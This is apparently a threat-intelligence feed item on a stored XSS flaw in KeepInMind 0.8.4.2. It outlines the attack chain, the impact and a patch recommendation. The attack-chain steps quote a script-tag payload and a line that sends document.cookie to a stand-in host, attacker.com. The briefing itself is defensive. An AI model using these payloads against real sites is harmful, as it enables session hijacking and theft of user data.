KeepInMind 0.8.4.2 - CraftedSignal Threat Feedhttps://feed.craftedsignal.io/products/keepinmind-0.8.4.2/Trending threats, MITRE ATT&CK coverage, and detection metadata. Fed continuously.Hugoenhello@craftedsignal.iohello@craftedsignal.ioMon, 06 Jul 2026 13:34:50 +0000KeepInMind 0.8.4.2 - Stored XSS Public Exploithttps://feed.craftedsignal.io/briefs/2026-07-keepinmind-xss/Mon, 06 Jul 2026 13:34:50 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2026-07-keepinmind-xss/A public exploit has been published for a Stored XSS vulnerability in KeepInMind version 0.8.4.2, significantly increasing the risk for unpatched installations.A publicly available exploit (EDB-52614) has been published on Exploit-DB, detailing a Stored Cross-Site Scripting (XSS) vulnerability in KeepInMind version 0.8.4.2. This vulnerability allows an attacker to inject malicious client-side scripts into web pages that are viewed by other users. When a legitimate user accesses a compromised page, their browser executes the attacker's script, leading to potential session hijacking, data theft, or website defacement. The availability of a working exploit significantly elevates the immediate risk for organizations running unpatched instances of KeepInMind 0.8.4.2. Defenders should prioritize patching this application or implementing strong input sanitization and output encoding to prevent successful exploitation. The exploit's publication date is July 6, 2026, indicating a recent and active threat to systems vulnerable to this specific version.

Attack Chain

  1. Malicious Input Insertion: An attacker sends a crafted HTTP POST request containing a malicious JavaScript payload (e.g., <script>alert(document.cookie)</script>) to a vulnerable input field (e.g., comment, profile description) within the KeepInMind 0.8.4.2 web application.
  2. Server-Side Storage: The KeepInMind application processes the attacker's input without proper sanitization or encoding, and stores the malicious script directly into its backend database.
  3. User Access and Rendering: A legitimate user's browser later requests a web page from the KeepInMind application that includes the previously stored, attacker-controlled content.
  4. Client-Side Script Execution: The web browser receives the response containing the unsanitized script and executes it within the legitimate user's browser context, often with the same privileges as the application's domain.
  5. Data Exfiltration/Action: The executed script performs an attacker-defined action, such as stealing the victim's session cookies by sending them to an attacker-controlled server (e.g., via document.location='http://attacker.com/steal?data=' + document.cookie).
  6. Session Hijacking/Further Compromise: The attacker receives the stolen session cookies and uses them to hijack the victim's authenticated session, gaining unauthorized access to the KeepInMind application with the legitimate user's privileges, or redirects the user to a malicious site.

Impact

Successful exploitation of this Stored XSS vulnerability can lead to severe consequences for affected users and organizations. Attackers can leverage the executed script to steal session tokens, allowing them to hijack authenticated user sessions and gain unauthorized access to the KeepInMind application with the victim's privileges. This can result in data exfiltration, unauthorized modification of content, or even complete account compromise. Furthermore, attackers could inject phishing content, deface web pages, or redirect users to malicious sites, potentially impacting user trust and organizational reputation. While specific victim counts are not available, all users interacting with unpatched KeepInMind 0.8.4.2 installations are at risk.

Recommendation

  • Upgrade KeepInMind 0.8.4.2 to a patched version as soon as possible to mitigate the Stored XSS vulnerability.
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